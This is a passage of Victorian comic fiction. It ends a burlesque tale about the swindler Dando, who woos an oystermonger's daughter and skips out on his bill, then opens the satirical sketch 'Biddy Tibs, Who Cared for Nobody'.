+upon me the disguise of--ha! ha!--of a dancing-master." (And the young
+man's countenance assumed a grim and demoniac smile.) "Yes; I degraded
+my name and my birthright,--I wore these ignoble trappings, and all for
+the love of thee, my Adeliza!" Here Signor Dandolo would have knelt
+down, but the road was muddy; and, his trousers being of nankeen, his
+gallant purpose was frustrated.
+
+But the story must out, for the conversation above narrated has
+betrayed to the intelligent reader a considerable part of it. The fact
+is, as we have said, that Miss Zela Pidge, dancing at the Hackney
+assembly, was introduced to this man; that he had no profession,--no
+means even of subsistence; that he saw enough of this lady to be aware
+that he could make her useful to his purpose; and he who had been, we
+believe it in our conscience, no better than a travelling mountebank or
+harlequin, appeared at Bulgaria House in the character of a professor
+of gymnastics. The governess in the first instance entertained for
+him just such a _penchant_ as the pupil afterwards felt; the latter
+discovered the weakness of her mistress, and hence arose Miss Pidge's
+indulgence, and Miss Grampus's fatal passion.
+
+"Mysterious being!" continued Adeliza, resuming the conversation which
+has been broken by the above explanatory hints, "how did I learn to
+love thee? Who art thou?--what dire fate has brought thee hither in
+this lowly guise to win the heart of Adeliza?"
+
+"Hadeliza," cried he, "you say well; _I am not what I seem_. I cannot
+tell thee what I am; a tale of horror, of crime, forbids the dreadful
+confession. But dark as I am, and wretched, nay, wicked and desperate,
+I love thee, Hadeliza,--love thee with the rapturous devotion of purer
+days: the tenderness of happier times! I am sad now and fallen, lady;
+suffice it that I once was happy, ay, respectable."
+
+Adeliza's cheek grew deadly pale, her step faltered, and she would have
+fallen to the ground, had she not been restrained by the strong arm of
+her lover. "I know not," said she, as she clung timidly to his neck,
+
+
+"I know not, I hask not, if guilt's in that art, I know that I love
+thee, whatever thou hart."
+
+"_Gilt_ in my heart," said Dandolo, "gilt in the heart of Roderick?
+No, never!" and he drew her towards him, and on her bonnet, her veil,
+her gloves, nay, on her very cheeks, he imprinted a thousand maddening
+kisses. "But say, my sweet one," continued he, "who art _thou_? I know
+you as yet, only by your lovely baptismal name, and your other name of
+Grampus."
+
+Adeliza looked down and blushed. "My parents are lowly," she said.
+
+"But how then came you at such a seminary?" said he; "twenty pound a
+quarter, extras and washing not included."
+
+"They are humble, but wealthy."
+
+"Ha! who is your father?"
+
+"An alderman of yon metropolis."
+
+"An alderman! and what is his profession?"
+
+"I blush to tell; he is--_an oystermonger_."
+
+"AN OYSTERMONGER!" screamed Roderick in the largest capitals. "Ha!
+ha! ha! this is too much!" and he dropped Adeliza's hand, and never
+spoke to her during the rest of her walk. They moved moodily on for
+some time, Miss Binx and the other young man marching astonished in
+the rear. At length they came within sight of the seminary. "Here is
+Bulgaria House," cried the maiden steadily; "Roderick, we must part!"
+The effort was too much for her: she flung herself hysterically into
+his arms.
+
+But, oh, horror! a scream was heard from Miss Binx, who was seen
+scuttling at double-quick time towards the school-house. Her young
+man had bolted completely; and close at the side of the lovely though
+imprudent couple, stood the angry--and justly angry--Miss Zela Pidge!
+
+"Oh, Ferdinand," said she, "is it thus you deceive me? Did I bring you
+to Bulgaria House for this?--did I give you money to buy clothes for
+this, that you should go by false names, and make love to that saucy,
+slammerkin, sentimental Miss Grampus? Ferdinand, Ferdinand," cried she,
+"is this true,--can I credit my eyes?"
+
+"D--your eyes!" said the signor angrily as he darted at her a withering
+look, and retired down the street. His curses might be heard long
+after he had passed. He never appeared more at Bulgaria House, for he
+received his dismissal the next day.
+
+That night all the front windows of the Miss Pidges' seminary were
+smashed to shivers.
+
+       *       *       *       *       *
+
+On the following Thursday _two_ places were taken in the coach to town.
+On the back seat sate the usher, on the front the wasted and miserable
+Adeliza Grampus.
+
+       *       *       *       *       *
+
+
+CHAPTER II.
+
+But the matter did not end here. Miss Grampus's departure elicited
+from her a disclosure of several circumstances which, we must say,
+in no degree increased the reputation of Miss Zela Pidge. The
+discoveries which she made were so awkward, the tale of crime and
+licentiousness revealed by her so deeply injurious to the character of
+the establishment, that the pupils emigrated from it in scores. Miss
+Binx retired to her friends at Wandsworth, Miss Jacobs to her relations
+in Houndsditch, and other young ladies not mentioned in this history
+to other and more moral schools; so that absolutely, at the end of a
+single half year, such had been the scandal of the story, the Misses
+Pidge were left with only two pupils,--Miss Dibble, the articled young
+lady, and Miss Bole, the grocer's daughter, who came in exchange for
+tea, candles, and other requisites supplied to the establishment by her
+father.
+
+"I knew it, I knew it!" cried Zela passionately, as she trod the
+echoing and melancholy school-room; "he told me that none ever
+prospered who loved him,--that every flower was blighted upon which he
+shone! Ferdinand, Ferdinand! you have caused ruin there" (pointing to
+the empty cupboards and forms); "but what is that to the blacker ruin
+_here_!" and the poor creature slapped her heart, and the big tears
+rolled down her chin, and so into her tucker.
+
+A very, very few weeks after this, the plate of Bulgaria House was
+removed for ever. That mansion is now designated "Moscow Hall, by Mr.
+Swishtail and assistants:"--the bankrupt and fugitive Misses Pidge have
+fled, Heaven knows whither! for the steamers to Boulogne cost more than
+five shillings in those days.
+
+Alderman Grampus, as may be imagined, did not receive his daughter
+with any extraordinary degree of courtesy. "He was as grumpy," Mrs. G.
+remarked, "on the occasion as a sow with the measles."--But had he not
+reason? A lovely daughter who had neglected her education, forgotten
+her morals for the second time, and fallen almost a prey to villains!
+Miss Grampus for some months was kept in close confinement, nor ever
+suffered to stir, except occasionally to Bunhill-row for air, and to
+church for devotion. Still, though she knew him to be false,--though
+she knew that under a different, perhaps a prettier name, he had
+offered the same vows to another,--she could not but think of Roderick.
+
+That _Professor_ (as well--too well--he may be called!) knew too
+well her father's name and reputation to experience any difficulty
+in finding his abode. It was, as every City man knows, in Cheapside;
+and thither Dandolo constantly bent his steps: but though he marched
+unceasingly about the mansion, he never (mysteriously) would pass it.
+He watched Adeliza walking, he followed her to church; and many and
+many a time as she jostled out at the gate of the Artillery-ground, or
+the beadle-flanked portal of Bow, a tender hand would meet hers, an
+active foot would press upon hers, a billet discreetly delivered was as
+adroitly seized, to hide in the recesses of her pocket-handkerchief,
+or to nestle in the fragrance of her bosom! Love! Love! how ingenious
+thou art! thou canst make a ladder of a silken thread, or a weapon
+of a straw; thou peerest like sunlight into a dungeon; thou scalest,
+like forlorn hope, a castle wall; the keep is taken!--the foeman has
+fled!--the banner of love floats triumphantly over the corpses of the
+slain![15]
+
+Thus, though denied the comfort of personal intercourse, Adeliza and
+her lover maintained a frequent and tender correspondence. Nine times
+at least in a week, she by bribing her maid-servant, managed to convey
+letters to the Professor, to which he at rarer intervals, though with
+equal warmth, replied.
+
+"Why," said the young lady in the course of this correspondence, "why,
+when I cast my eyes upon my Roderick, do I see him so wofully changed
+in outward guise? He wears not the dress which formerly adorned him. Is
+he poor?--is he in disguise?--do debts oppress him, or traitors track
+him for his blood? Oh that my arms might shield him!--Oh that my purse
+might aid him! It is the fondest wish of
+
+        "ADELIZA G.
+
+"P.S.--Aware of your fondness for shell-fish, Susan will leave a barrel
+of oysters at the Swan with Two Necks, directed to you, as per desire.
+
+        "AD. G.
+
+"P.S.--Are you partial to kippered salmon? The girl brings three pounds
+of it wrapped in a silken handkerchief. 'Tis marked with the hair of
+
+        "ADELIZA.
+
+"P.S.--I break open my note to say that you will find in it a small pot
+of anchovy paste: may it prove acceptable. Heigho! I would that I could
+accompany it.
+
+        "A.G."
+
+It may be imagined, from the text of this note, that Adeliza had
+profited not a little by the perusal of Mrs. Swipes's novels; and
+it also gives a pretty clear notion of the condition of her lover.
+When that gentleman was a professor at Bulgaria House, his costume
+had strictly accorded with his pretensions. He wore a black German
+coat loaded with frogs and silk trimming, a white broad-brimmed
+beaver, hessians, and nankeen tights. His costume at present was
+singularly changed for the worse: a rough brown frock-coat dangled
+down to the calves of his brawny legs, where likewise ended a pair of
+greasy shepherd's-plaid trousers; a dubious red waistcoat, a blue or
+bird's-eye neckerchief, and bluchers, (or half-boots,) remarkable for
+thickness and for mud, completed his attire. But he looked superior to
+his fortune; he wore his grey hat very much on one ear; he incessantly
+tugged at his smoky shirt-collar, and walked jingling the halfpence
+(when he had any) in his pocket. He was, in fact, no better than an
+adventurer, and the innocent Adeliza was his prey.
+
+Though the Professor read the first part of this letter with hope and
+pleasure, it may be supposed that the three postscripts were still
+more welcome to him,--in fact, he literally did what is often done in
+novels, he _devoured_ them; and Adeliza, on receiving a note from him
+the next day, after she had eagerly broken the seal, and with panting
+bosom and flashing eye glanced over the contents,--Adeliza, we say, was
+not altogether pleased when she read the following:
+
+"Your goodness, dearest, passes belief; but never did poor fellow need
+it more than your miserable, faithful Roderick. Yes! I _am_ poor,--I
+_am_ tracked by hell-hounds,--I _am_ changed in looks, and dress, and
+happiness,--in all but love for thee!
+
+"Hear my tale! I come of a noble Italian family,--the noblest, ay,
+in Venice. We were free once, and rich, and happy; but the Prussian
+autograph has planted his banner on our towers,--the talents of his
+haughty heagle have seized our wealth, and consigned most of our race
+to dungeons. I am not a prisoner, only an exile. A mother, a bed-ridden
+grandmother, and five darling sisters, escaped with me from Venice, and
+now share my poverty and my home. But I have wrestled with misfortune
+in vain; I have struggled with want, till want has overcome me.
+Adeliza, I WANT BREAD!
+
+"The kippered salmon was very good, the anchovies admirable. But, oh,
+my love! how thirsty they make those who have no means of slaking
+thirst! My poor grandmother lies delirious in her bed, and cries in
+vain for drink. Alas! our water is cut off; I have none to give her.
+The oysters was capital. Bless thee, bless thee! angel of bounty! Have
+you any more sich, and a few shrimps? My sisters are _very_ fond of
+them.
+
+"Half-a-crown would oblige. But thou art too good to me already, and I
+blush to ask thee for more. "Adieu, Adeliza,
+
+        "the wretched but faithful
+            "RODERICK FERDINAND,
+            "(38th Count of Dandolo.)
+
+        "Bell-yard, June --."
+
+A shade of dissatisfaction, we say, clouded Adeliza's fair features
+as she perused this note; and yet there was nothing in it which the
+tenderest lover might not write. But the shrimps, the half-crown, the
+horrid picture of squalid poverty presented by the count, sickened her
+young heart; the innate delicacy of the woman revolted at the thought
+of all this misery.
+
+But better thoughts succeeded: her breast heaved as she read and
+re-read the singular passage concerning the Prussian autograph, who had
+planted his standard at Venice. "I knew it!" she cried, "I knew it!--he
+is of noble race! O Roderick, I will perish, but I will help thee!"
+
+Alas! she was not well enough acquainted with history to perceive that
+the Prussian autograph had nothing to do with Venice, and had forgotten
+altogether that she herself had coined the story which this adventurer
+returned to her.
+
+But a difficulty presented itself to Adeliza's mind. Her lover asked
+for money,--where was she to find it? The next day the till of the shop
+was empty, and a weeping apprentice dragged before the Lord Mayor. It
+is true that no signs of the money were found upon him; it is true
+that he protested his innocence; but he was dismissed the alderman's
+service, and passed a month at Bridewell, because Adeliza Grampus had a
+needy lover!
+
+"Dearest," she wrote, "will three-and-twenty and sevenpence suffice?
+'Tis all I have: take it, and with it the fondest wishes of your
+Adeliza.
+
+"A sudden thought! Our apprentice is dismissed. My father dines abroad;
+I shall be in the retail establishment all the night, _alone_.
+
+        "A.G."
+
+No sooner had the Professor received this note than his mind was made
+up. "I will see her," he said; "I will enter that accursed shop." He
+did, and _to his ruin_.
+
+       *       *       *       *       *
+
+That night Mrs. Grampus and her daughter took possession of the bar or
+counter, in the place which Adeliza called the retail establishment,
+and which is commonly denominated the shop. Mrs. Grampus herself
+operated with the oyster-knife, and served the Milton morsels to the
+customers. Age had not diminished her skill, nor had wealth rendered
+her too proud to resume at need a profession which she had followed
+in early days. Adeliza flew gracefully to and fro with the rolls, the
+vinegar bottle with perforated cork, and the little pats of butter.
+A little boy ran backwards and forwards to the Blue Lion over the
+way, for the pots of porter, or for the brandy and water, which some
+gentlemen take after the play.
+
+Midnight arrived. Miss Grampus was looking through the window, and
+contrasting the gleaming gas which shone upon the ruby lobsters, with
+the calm moon which lightened up the Poultry, and threw a halo round
+the Royal Exchange. She was lost in maiden meditation, when her eye
+fell upon a pane of glass in her own window: squeezed against this,
+flat and white, was the nose of a man!--that man was Roderick Dandolo!
+He seemed to be gazing at the lobsters more intensely than at Adeliza;
+he had his hands in his pockets, and was whistling Jim Crow.[16]
+
+Miss Grampus felt sick with joy; she staggered to the counter, and
+almost fainted. The Professor concluded his melody, and entered at
+once into the shop. He pretended to have no knowledge of Miss Grampus,
+but _aborded_ the two ladies with easy elegance and irresistible
+good-humour.
+
+"Good evening, ma'am," said he, bowing profoundly to the _elder_ lady.
+"What a precious hot evening, _to_ be sure!--hot, ma'am, and hungry, as
+they say. I could not resist them lobsters, 'specially when I saw the
+lady behind 'em."
+
+At this gallant speech Mrs. Grampus blushed, or looked as if she would
+blush, and said,
+
+"Law, sir!"
+
+"Law, indeed, ma'am," playfully continued the Professor; "you're a
+precious deal better than law,--you're _divinity_, ma'am; and this, I
+presume, is your sister?"
+
+He pointed to Adeliza as he spoke, who, pale and mute, stood fainting
+against a heap of ginger-beer bottles. The old lady was quite won by
+this stale compliment.
+
+"My daughter, sir," she said. "Addly, lay a cloth for the gentleman. Do
+you take hoysters, sir, hor lobsters? Both is very fine."
+
+"Why, ma'am," said he, "to say truth, I have come forty miles since
+dinner, and don't care if I have a little of both. I'll begin, if you
+please, with that there, (Lord bless its claws, they're as red as your
+lips!) and we'll astonish a few of the natives afterwards, _by_ your
+leave."
+
+Mrs. Grampus was delighted with the manners and the appetite of the
+stranger. She proceeded forthwith to bisect the lobster, while the
+Professor in a _dégagé_ manner, his cane over his shoulder, and a
+cheerful whistle upon his lips, entered the little parlour, and took
+possession of a box and a table.
+
+He was no sooner seated than, from a scuffle, a giggle, and a smack,
+Mrs. Grampus was induced to suspect that something went wrong in the
+oyster-room.
+
+"Hadeliza!" cried she; and that young woman returned blushing now like
+a rose, who had been as pale before as a lily.
+
+Mrs. G. herself took in the lobster, bidding her daughter sternly to
+stay in the shop. She approached the stranger with an angry air, and
+laid the lobster before him.
+
+"For shame, sir!" said she solemnly; but all of a sudden she began to
+giggle like her daughter, and her speech ended with an "_Have done
+now!_"
+
+We were not behind the curtain, and cannot of course say what took
+place; but it is evident that the Professor was a general lover of the
+sex.
+
+Mrs. Grampus returned to the shop, rubbing her lips with her fat
+arms, and restored to perfect good-humour. The little errand-boy was
+despatched over the way for a bottle of Guinness and a glass of brandy
+and water.
+
+"HOT WITH!" shouted a manly voice from the eating-room, and Adeliza was
+pained to think that in her presence her lover could eat so well.
+
+He ate indeed as if he had never eaten before: here is the bill as
+written by Mrs. Grampus herself.
+
+    "Two lobsters at 3_s._ 6_d._      7_s._  0_d._
+    Sallit                              1      3
+    2 Bottils Doubling Stott            2      4
+    11 Doz. Best natifs                 7      4
+    14 Pads of Botter                   1      2
+    4 Glasses B & W.                    4      0
+    Bredd (love & 1/2)                  1      2
+    Brakitch of tumler                  1      6
+                                       ---------
+    "To Samuel Grampus,             1   5      9
+        "At the Mermaid in Cheapside.
+
+"Shell-fish in all varieties. N.B. a great saving in taking a quantity."
+
+"A saving in _taking a quantity_," said the stranger archly. "Why,
+ma'am, you ought to let me off _very cheap_;" and the Professor, the
+pot-boy, Adeliza, and her mamma, grinned equally at this pleasantry.
+
+"However, never mind the pay, missis," continued he; "we an't agoing
+to quarrel about _that_. Hadd another glass of brandy and water to the
+bill, and bring it me, when it shall be as I am now."
+
+"Law, sir," simpered Mrs. Grampus, "how's that?"
+
+"_Reseated_, ma'am, to be sure," replied he as he sank back upon the
+table. The old lady went laughing away, pleased with her merry and
+facetious customer; the little boy picked up the oyster-shells, of
+which a mighty pyramid was formed at the Professor's feet.
+
+"Here, Sammy," cried out shrill Mrs. Grampus from the shop, "go over to
+the Blue Lion and get the gentleman his glass: but no, you are better
+where you are, pickin' up them shells. Go you, Hadeliza; it is but
+across the way."
+
+Adeliza went with a very bad grace; she had hoped to exchange at
+least a few words with him her soul adored; and her mother's jealousy
+prevented the completion of her wish.
+
+She had scarcely gone, when Mr. Grampus entered from his dinner-party.
+But, though fond of pleasure, he was equally faithful to business:
+without a word, he hung up his brass-buttoned coat, put on his hairy
+cap, and stuck his sleeves through his apron.
+
+As Mrs. Grampus was tying it, (an office which this faithful lady
+regularly performed,) he asked her what business had occurred during
+his absence.
+
+"Not so bad," said she; "two pound ten to-night, besides one pound
+eight to receive;" and she handed Mr. Grampus the bill.
+
+"How many are there on 'em?" said that gentleman smiling, as his eye
+gladly glanced over the items of the account.
+
+"Why, that's the best of all: how many do you think?"
+
+"If four did it," said Mr. Grampus, "they wouldn't have done badly
+neither."
+
+"What do you think of _one_?" cried Mrs. G. laughing, "and he an't done
+yet. Haddy is gone to fetch him another glass of brandy and water."
+
+Mr. Grampus looked very much alarmed. "Only one, and you say he an't
+paid?"
+
+"No," said the lady.
+
+Mr. Grampus seized the bill, and rushed wildly into the dining-room:
+the little boy was picking up the oyster-shells still, there were so
+many of them; the Professor was seated on the table, laughing as if
+drunk, and picking his teeth with his fork.
+
+Grampus, shaking in every joint, held out the bill: a horrid thought
+crossed him; he had seen that face before!
+
+The Professor kicked sneeringly into the air the idle piece of paper,
+and swung his legs recklessly to and fro.
+
+"What a flat you are," shouted he in a voice of thunder, "to think I'm
+a goin' to pay! Pay! I never pay--I'M DANDO!"
+
+The people in the other boxes crowded forward to see the celebrated
+stranger; the little boy grinned as he dropped two hundred and
+forty-four oyster-shells, and Mr. Grampus rushed madly into his front
+shop, shrieking for a watchman.
+
+As he ran, he stumbled over something on the floor,--a woman and a
+glass of brandy and water lay there extended. Like Tarquinia reversed,
+Elijah Grampus was trampling over the lifeless body of Adeliza.
+
+Why enlarge upon the miserable theme? The confiding girl, in returning
+with the grog from the Blue Lion, had arrived at the shop only in time
+to hear the fatal name of DANDO. She saw him, tipsy and triumphant,
+bestriding the festal table, and yelling with horrid laughter! The
+truth flashed upon her--she fell!
+
+Lost to worldly cares in contemplating the sorrows of their idolized
+child, her parents forgot all else beside. Mrs. G. held the
+vinegar-cruet to her nostrils; her husband brought the soda-water
+fountain to play upon her; it restored her to life, but not to sense.
+When Adeliza Grampus rose from that trance she was a MANIAC!
+
+But what became of _the deceiver_? The gormandizing ruffian, the lying
+renegade, the fiend in human shape, escaped in the midst of this scene
+of desolation. He walked unconcerned through the shop, his hat cocked
+on one side as before, swaggering as before, whistling as before:
+far in the moonlight might you see his figure; long, long in the
+night-silence rang his demoniac melody of Jim Crow!
+
+       *       *       *       *       *
+
+When Samuel the boy cleaned out the shop in the morning, and made the
+inventory of the goods, a silver fork, a plated ditto, a dish, and a
+pewter pot were found to be wanting. Ingenuity will not be long in
+guessing the name of _the thief_.
+
+       *       *       *       *       *
+
+Gentles, my tale is told. If it may have deterred one soul from vice,
+my end is fully answered: if it may have taught to school-mistresses
+carefulness, to pupils circumspection, to youth the folly of sickly
+sentiment, the pain of bitter deception; to manhood the crime, the
+_meanness_ of gluttony, the vice which it occasions, and the wicked
+passions it fosters; if these, or any of these, have been taught by the
+above tale, Goliah Gahagan seeks for no other reward.
+
+NOTE. Please send the proceeds as requested per letter; the bearer
+being directed not to give up the manuscript without.
+
+FOOTNOTES:
+
+[Footnote 15: We cannot explain this last passage; but it is so
+beautiful, that the reader will pardon the omission of sense, which the
+author certainly could have put in if he liked.]
+
+[Footnote 16: I know this is an anachronism; but I only mean that he
+was performing one of the popular melodies of the time.--G.G.]
+
+
+
+
+BIDDY TIBS, WHO CARED FOR NOBODY.
+
+
+"Marry in thy youth!" This golden truth is writ in one of the "gates,"
+or articles of the "Sadder." We know not if the eyes of Jacob Tibs ever
+opened upon this questionable axiom; or whether the consciousness of
+his own weakness was the load-star which lighted him, "poor darkened
+traveller," to the _blessed state_. Be it as it might, Jacob, though
+no longer in youth, and in spite of my Uncle Toby's showing that "love
+is below a man,"--Jacob took unto himself a wife,--an unquestionable
+_better half_, seeing his share was so small in the economy of domestic
+life. But at how high a standard Jacob _ought_ to have placed his
+happiness,--and marriage is with some supposed to be a good,--he held
+it a plague, a sickness long in killing! Jacob, as we have before
+stated, married, and from that seed his crops of evil sprung! _The
+apple of his eye_, like that of the East, was ashes to his taste. Alas!
+that Jacob ever married!
+
+Biddy Tibs, "_who cared for nobody_," was, at the time we write, a
+small withered piece of stale old age. In her husband's days,--and they
+a bountiful Providence, or rather rope, had shortened; not that he
+was hanged, for Jacob was a modest-minded man!--she made up in temper
+what she lacked in size; which temper, in the opinion of many, was the
+personal property of the devil! And as the most difficult conquest of
+Mahomet was that of his wife, so it proved with Jacob, who vainly hoped
+that, "as with time and patience the leaf of the mulberry-tree becomes
+satin," so might his wife's temper from sour turn to sweet! How little
+did Jacob appreciate the constancy of woman!
+
+Jacob Tibs was part owner of a Liverpool West India trader, and of
+which he was nominally the captain. But Mrs. T., in this as in all
+other instances, was the great "captain's captain:" her lungs--and
+never had a speaking-trumpet such lungs--were hurricane-proof! and
+the title of "boatswain" was not improperly a sobriquet of this fair
+cheapener of sugar, with which the vessel was ostensibly freighted,
+though upon occasions she had more slaves than her husband on board;
+so that, what with natural and human produce, Jacob climbed a golden
+ladder. Tired with a "life of storms," he changed his vessel for a
+house, the sea for a quiet town, and might have rested his old age in
+peace; but, alas for Jacob! he was married!
+
+Argus is reported to have slept,--can we wonder that Mrs. Tibs's two
+eyes for once lost their vigilance, and left her husband the master of
+himself, and one day--for that she passed a short distance off; and
+Jacob resolved that this drop of comfort should prove a well; and in
+truth it _did_, as will be shown. Old Jacob had friends, as who has
+not that has anything to give?--and this day--the only one he could
+look forward to with a smile since he had been "blessed"--he determined
+should prove a golden one; and, spite of the servant-girl's warnings
+of "How missus would wop him!" Jacob held a levee,--some dozen sons of
+Eve, whose mouths sucked brandy like a sponge,--good old souls of a
+good old age, whose modest wants 'bacca and brandy could supply.
+
+Jacob held his levee! but as he boasted no privy purse, no stocking
+with a foot of guineas, and no brandy but a bottle two-thirds full,
+left by strange accident in the cupboard, what was to be done? For the
+first time in his life Jacob was surprised into an act of rebellion;
+and with a death-doing hammer in one hand, and a screwdriver in the
+other, did Jacob invade the--to him--sanctity of the cellar. The lock
+was wrenched, lights were stuck in empty bottles, and Jacob, who in
+his young-going days had swilled it with the best, soon verified the
+sentiment of Le Sage, that "a reformed drunkard should never be left
+in a cellar." Now, whether joy or brandy had to answer for the sin,
+we know not; but, certain it is, Jacob got drunk, and measured his
+length--he was a tall man--upon the ground. Friends should be our
+brothers in affliction; _his_ were true ones, and at happy intervals of
+time they sank beside him, completely overcome,--showing how little was
+their pride, how great their fellowship!
+
+How long they might have continued in this undeniable state of bliss
+would be an useless guess, for the last of Jacob's friends--and he
+was no sudden faller-off--had scarcely deposited himself upon the
+ground in happy indifference for his clothes, when the cracked-bell
+voice of Mrs. Tibs, who had unexpectedly returned, roused the maid
+into a consciousness that missus had come home! Domestic contentions
+are at no time an interesting theme; and as most of our readers--we
+allude to the married portion--have doubtless experienced them in
+real life, romance would fall far short of the truth; the single we
+advise to marry, and experience will teach them what we here pass
+over. When Jacob's better half beheld her bottles empty, her casks
+upturned, and her husband, for the first time since he had enjoyed
+that felicity, deaf to the music of her voice, a bucket of water from
+the well refreshed Jacob to a truth he would willingly have slept in
+ignorance of,--that the wife of his bosom was alive, and he started as
+a thief would at an opening door. She seized him by the collar, and,
+showering the first-fruits of her passion upon him who could so well
+appreciate it, the "boatswain" rose within her, and, after bestowing
+sundry terms of approbation upon his boon companions, she turned them
+out of the house, as the vulgar saying hath it, "with their tails
+between their legs." Jacob would have slunk away, but Fortune willed it
+otherwise. His "rib" shouted the word of command, "Tack, you lubber,
+and be ---- to you!" Jacob recognised the voice,--how could he have
+mistaken it?--and waited for orders. Now it so fell out, as Mrs. Tibs
+ran for the bucket of water, her cap, in the press of business, caught
+by a twig, dropped into the well, and eighteen-pence had been that day
+expended in decoration. With the assistance of Nanny the maid, Jacob
+was to be wound down in the bucket; and, spite of his appeals to the
+contrary, with one foot in the tub, and both hands on the rope, he was
+lowered, and half soused in water, until he reached the ribbon treasure
+of his wife's head. The cap clutched in one hand, he was raised
+dripping by the windlass. Each twist brought him nearer to the top,
+when, sorrowful to relate, the rope gave way, and Jacob dropped like
+lead into the well; a hollow splash was heard in the water, and Mrs
+Tibs stood by in speechless agony. At length her grief found vent, and,
+pitching her voice to its shrillest note, she cried, "Oh, my cap!"
+
+Alas for Jacob! his head struck with swingeing force against the
+bricks, where to this day the impression may be seen: he fell stunned
+into the water, and before aid could be obtained, which Mrs. Tibs did
+in less than two hours and a half, Jacob was dead!
+
+Now, though Jacob was dead, he was not buried. A good wife is a jewel
+to her husband: what must she be to his mortal remains? Biddy's
+affection was too great to allow any but herself to be his undertaker,
+and she contracted with a jobbing carpenter for a wooden shell. Jacob
+never loved luxuries, and the pride of cloth covered not his outside,
+gilt nails syllabled not his virtues. Four ploughmen were hired at a
+shilling a-head--half-a-crown they had the uncharity to ask--to be his
+bearers, and Jacob was lowered to what he had been for years a stranger
+to--a house of peace!
+
+       *       *       *       *       *
+
+In the city of C----, famous for its antiquities, its cathedral,
+and its hop-grounds, is a terrace, commanding an extensive view of
+a cattle-market and the road beyond; along which road, one sunny
+afternoon, a gentleman, or, for fear of mistakes, we will simply call
+him an officer, rode on a piebald horse. Passing along, a certain
+window on the terrace attracted his attention, and the officer on the
+piebald horse kissed his hand to its fair occupant. Now, it so happened
+that Miss Lauretta Birdseye was seated at the very next window, in
+the very next house to that on which the officer had bestowed his
+attentions; and no sooner was the kiss blown, than slam went the
+window! A glazier who was passing felt himself a richer man by at least
+three and sixpence. No sooner was the window closed, than--curtains
+are always in the way--they were drawn aside, and a face was glued to
+the glass, all eyes and wire ringlets. Another kiss from the officer
+on the piebald horse. The lady nodded her head, and was thinking of
+blushing; but as blushes, like hedge-side roses, are vulgar, and glass
+so thick, her prudence whispered her not to be wasteful. As the rider
+passed, the window was once more opened, and her head thrust out, to
+see what to her was indeed a sight,--a man, as she thought, looking at
+her,--when what should she behold at the next window but Laura Dyke,
+"that impudent slut," as she said, "looking after the men!" Her modesty
+was scandalized, and once more the window descended with a crash!
+
+The following morning Miss Lauretta Birdseye knocked a gentle knock
+at the dwelling of Mrs. Tibs, her next-door neighbour. The door was
+opened by Laura, who filled the double capacity of drudge and niece
+to her loving aunt Biddy Tibs. Since the demise of the late lamented
+Jacob, she had led a life of widowhood, no man being found rash
+enough to venture where Jacob had trod before. Years had passed, and
+Biddy Tibs was old and withered, and her skin, like parchment, hung
+dry and shrivelled! The fire of her youth was gone, but the embers
+still remained: what her tongue had lost in might it had gained in
+bitterness; she stabbed a reputation at each word, and mixed her gall
+in every household hive! Such was Biddy Tibs; and, though possessed of
+no mean wealth, her avarice clung like birdlime to her. Biddy had a
+brother, an honest tradesman: his wife died young, and his children,
+for he had two, a boy and a girl, were unto him gold and jewels!
+Biddy held up her hands, and called it a tempting of Providence. Long
+sickness and misfortunes--for brother Dick had friends--and serving
+others, placed him in a debtors' prison! Without means, and lacking
+food, Dick asked his sister's aid,--a score of pounds to make him a
+man again. Biddy with thousands saw him want on;--saw him, sick and
+feeble, die, a prisoner for a friend's debt, and his children without a
+roof but heaven! Now, whether Biddy's conscience smote her,--and it was
+speculated by some that she possessed that luxury,--we know not; but, a
+few weeks after, her servant-girl, for some or for no fault, had been
+turned out of doors in the middle of the night; and, as her place must
+be supplied, pity came to Biddy's aid, and her niece, an interesting
+girl of some sixteen years, was sent for. The boy, Teg, less fortunate,
+was left to starve; but he was a shrewd youth, fourteen, and had
+a squint eye, a sign of a kind of cunning, and, if a jest may be
+pardoned, Teg always looked round the corner. Laura luxuriated in the
+waggon; Teg, less fortunate, trudged behind, begging as he went his
+food. But charity dwells not on the highway, and Teg's food was mostly
+unasked; a turnip diet and a hedge-side bed ended not a youth who was
+never born to be choked by indigestion.
+
+Mrs. Tibs took in the girl, for she must have a drudge; Teg had a penny
+given him, and the door shut in his face. Teg cried first, then got in
+a passion, and, like most people in a pet, quarrelled with his bread
+and butter; for he flung the penny through one of the parlour windows,
+when, as ill luck would have it, it missed the head of his loving
+aunt, and ended the days of a cracked tea-cup. Alas! that charity
+should bring evil upon the giver! for, taking the window and cup into
+consideration, Biddy's charity cost her shillings, when she had only
+intended to bestow a penny.
+
+Teg spat upon her threshold, and went, no one cared or knew whither.
+
+       *       *       *       *       *
+
+Laura was now eighteen, and opened the door to Miss Lauretta Birdseye,
+who looked daggers of indignation,--for Laura was a pretty girl,--and
+asked if Mrs. Tibs were at home. Laura's meek answer was, "Yes, Miss
+Birdseye; will you walk in?" Lauretta did, and sat in the parlour
+_tête-à-tête_ with Mrs. Tibs.
+
+Mrs. Tibs was to the city of C---- what Ariadne's thread was to
+Theseus,--the leading-string in all amours, all stolen meetings,
+all clandestine marriages. Numberless were the wives and husbands,
+maids and bachelors, who through her means had held communion sweet
+with objects of their choice. Messages and letters were her peculiar
+province; in fact, Biddy Tibs was a post-office in her own person; and
+these praiseworthy efforts she exercised not altogether from mercenary
+motives, though, to do her justice, her pride never stood in the way
+where money was offered: but she loved mischief as a cat loves milk,
+and would cheat for nothing, rather than not cheat at all. Now, as the
+officer on the piebald horse had kissed his hand, as Lauretta thought,
+to her, she could not rest until she had consulted old Tibby, for so
+she was called. _There_ at all events she should know all about the
+officer, and there, no doubt, the officer would inquire after her; and,
+seated opposite old Tibby, the conversation began.
+
+"Do you know, Mrs. Tibs," commenced Lauretta, "I am horrorfied to think
+what the girls about here are come to; for _my_ part, you know, I hate
+the men!"
+
+"I know you do," chimed in Biddy; "your mother tells everybody so: but
+them gals about here have no shame!"
+
+"None!" and Lauretta rose with her subject. "As for those Greyham's
+girls, I declare a man can't walk for them; and those Miss Highwaters,
+they are no better than they should be, I know. Look how they dress!
+and we all know what they have to live upon. And those Miss Cartriges,
+with their thick ankles, waddling up and down, and looking after the
+men: for _my_ part, I never walk without mother's with me, for those
+nasty fellows do look at one so."
+
+Here an indistinct "Hem!" escaped Biddy.
+
+"But I never look at them again, like the girls about here! never!"
+
+Biddy looked at her from under her grey eyes, but said nothing.
+
+"Men," continued Miss B. "are such impudent fellows, especially
+military men; and, would you think it? an officer on a piebald horse
+actually kissed his hand to me yesterday afternoon!"
+
